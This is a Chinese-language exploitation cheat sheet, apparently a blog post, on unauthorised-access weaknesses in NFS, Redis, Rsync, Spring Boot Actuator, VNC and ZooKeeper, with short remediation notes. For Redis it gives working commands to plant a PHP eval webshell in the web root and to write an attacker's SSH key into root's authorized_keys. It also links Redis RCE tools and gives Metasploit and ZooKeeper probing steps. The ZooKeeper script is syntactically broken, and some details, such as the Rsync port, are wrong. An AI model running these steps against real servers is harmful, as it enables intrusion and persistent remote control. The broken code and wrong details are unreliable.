apt install nfs-common 安装nfs客户端
showmount -e xx.xx.xx.xx 查看nfs服务器上的共享目录
mount -t nfs xx.xx.xx.xx:/grdata /mnt 挂载到本地
umount /mnt 卸载目录
端口:6379
介绍:Redis 低版本默认情况下,会绑定在 0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。
利用方式:
写计划任务
写webshell
主从复制RCE
https://github.com/Ridter/redis-rce
https://github.com/n0b0dyCN/redis-rogue-server
修复:参考 Redis 密码设置和查看密码
Redis常见漏洞利用方法总结|Redis未授权访问漏洞利用方式
(1) 漏洞简述Redis 是一个高性能的 Key – Value 数据库。Redis 的出现很大程度上弥补了 memcached 这类 Key/Value 存储的不足在部分场合可以对关系数据库起到很好的补充作用。Redis 默认情况下会绑定在 0.0.0.0:6379这样会将 Redis 服务暴露到公网上。在没有开启认证的情况下会导致任意用户在可以访问目标服务器的情况下未经授权就访问到 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法成功地在 Redis 服务器上写入公钥进而可以使用对应私钥直接登录目标服务器。
(2) 风险等级高风险。
(3) 漏洞编号无。
(4) 影响范围Redis 数据库。
先用 nmap 扫描查看端口开放情况发现开放的 6379 端口为 Redis 的默认端口
Nmap -A -p 6379 --script redis-info 192.168.10.153
Nmap 扫描后发现主机的 6379 端口对外开放可以通过 Redis 客户端进行连接测试是否存在未授权访问漏洞具体命令如下
./redis-cli -h 192.168.10.153
就可以看到 Redis 的版本和服务器上内核的版本信息也可以 del key 删除数据在网站写入木马写入 SSH 公钥或者在 crontab 里写定时任务反弹 shell 等。
(1) 网站写码
① 先用客户端连接服务器的 redis 服务
redis-cli.exe -h 目标IP
② 连接后设置目录
config set dir /var/www/html此路径是服务器端 Web 网站的目录
③ 设置要写入的文件名
config set dbfilename redis88.php
④ 设置要写入的内容
set webshell "<?php @eval($_POST['123']); ?>"
⑥ 保存后用菜刀连接此木马得到 webshell。
(2) 结合 SSH 免密码登录
① 先在本地建个 ssh 的密钥
ssh-keygen-trsa
② 将公钥的内容写到一个文本中命令如下
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
注意写到文件中时一定要在前面加几行后面加几行。
③ 将里面的内容写入远程的 Redis 服务器上并且设置其 Key 为 test命令如下
cat test.txt | redis -cli -h <hostname> -x set test
④ 登录远程服务器可以看到公钥已经添加到 Redis 的服务器上了命令如下
redis-cli -h <hostname>
keys *
get test
⑤ 随后就是最关键的了Redis 有个 save 命令save 命令执行一个同步保存操作将当前 Redis 实例的所有数据快照snapshot以 RDB 文件的形式保存到硬盘。所以save 命令就可以将 test 里的公钥保存到 /root/.ssh 下要有权限。
修改保存的路径为
config set dir "/root/.ssh"
修改文件名为
config set dbfilename "authorized_keys"
⑥ 测试一下
ssh 用户名@<IP地址>
实现免密码成功登陆。
(1) 设置 Redis 访问密码在 redis.conf 中找到 “requirepass” 字段在后面填上强口令redis 客户端也需要此密码来访问 redis 服务。
(2) 配置 bind 选项限定可以连接 Reids 服务器的 IP并修改默认端口 6379。
(3) 重启 Redis 服务。
(4) 清理系统中存在的后门木马。
Rsync
(1) 漏洞简述:Rsync(remote synchronize)是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837。
(2) 风险等级:高风险。
(3) 漏洞编号:无。
(4) 影响范围:Rsync 全版本。
nmap 扫描:nmap ip -p837
。
列出当前目录,显示用户:rsync ip
。
如果是root,可以下载任意文件并上传文件。
(1) 隐藏 module 信息:修改配置文件 list =false。
(2) 权限控制:不需要写入权限的 module 的设置为只读 Read only = true。
(3) 网络访问控制:使用安全组策略或白名单限制,只允许必要访问的主机访问:hosts allow = 123.123.123.123。
(4) 账户认证:只允许指定的用户利用指定的密码使用 rsync 服务。
(5) 数据加密传输:Rsync 默认没有直接支持加密传输,如果需要 Rsync 同步重要性很高的数据,可以使用 ssh。
SpringBoot
端口:80、8080、6080等web端口
介绍:SpringBoot,web中env路径配置文件未授权访问,可能暴露大量联动设备密码信息,甚至RCE
使用工具:
- 浏览器直接访问
- https://github.com/rabbitmask/SB-Actuator
- 修复:参考 Spring Boot Actuator从未授权访问到getshell
- 端口:5900-5905
- 介绍:vnc用于远程桌面控制,未授权访问会导致恶意用户直接控制受控主机
- 使用工具:
VNCview
- 修复:配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码
(1) 漏洞简述VNC 是虚拟网络控制台Virtual Network Console的英文缩写。它是一款优秀的远程控制工具软件由美国电话电报公司AT&T的欧洲研究实验室开发。VNC是基于 UNXI 和 Linux 的免费开源软件由 VNC Server 和 VNC Viewer 两部分组成。VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制受控主机危害相当严重。
(2) 风险等级高风险。
(3) 漏洞编号无。
(4) 影响范围VNC 全版本。
使用 metasploit 进行批量检测
(1) 在 kali 下运行 msfconsolemsfconsole。
(2) 调用 VNC 未授权检测模块use auxiliary/scanner/vnc/vnx_none_auth。
(3) 显示有哪些选项show options。
(4) 设置地址段set rhosts ip 或 段。
(5) 设置线程set threads 50。
(6) 开始扫描run。
(1) 配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
(2) 以最小权限的普通用户身份运行操作系统。
ZooKeeper
端口:2181、2182
介绍:可读取敏感信息,或者在Zookeeper集群内执行kill命令
- 使用工具:
netcat
- 1、修改 ZooKeeper 默认端口,采用其他端口服务。
- 2、添加访问控制,配置服务来源地址限制策略。
- 3、增加 ZooKeeper 的认证配置。
(1) 漏洞简述ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务是 Google 的 Chubby 一个开源的实现是 Hadoop 和 Hbase 的重要组件。它是一个为分布式应用提供一致性服务的软件提供的功能包括配置维护、域名服务、分布式同步、组服务等。ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境。这将导致任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。
(2) 风险等级高风险。
(3) 漏洞编号无。
(4) 影响范围Zookeeper 全版本。
(1) 通过 nmap 扫描开放了 2181 端口的主机。
(2) 运行脚本通过 socket 连接 2181 端口并发送 envi 命令若服务端返回的数据中包含 ZooKeeper 的服务运行环境信息即可证明存在未授权访问。
# coding=utf-8
import socket
import sys
def check(ip, port, timeout, cmd):
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send(cmd)
data = s.recv(1024)
s.close()
print data
except:
def main():
if len(sys.argv) < 3:
exit()
ip = sys.argv[1]
cmd = sys.argv[2]
# envi
# dump
# reqs
# ruok
# stat
check(ip, 2181, 3, cmd)
if __name__ == '__main__':
main()
(1) 修改 ZooKeeper 默认端口,采用其他端口服务,配置服务来源地址限制策略。
(2) 增加 ZooKeeper 的认证配置。
2021-12-14 09:55:53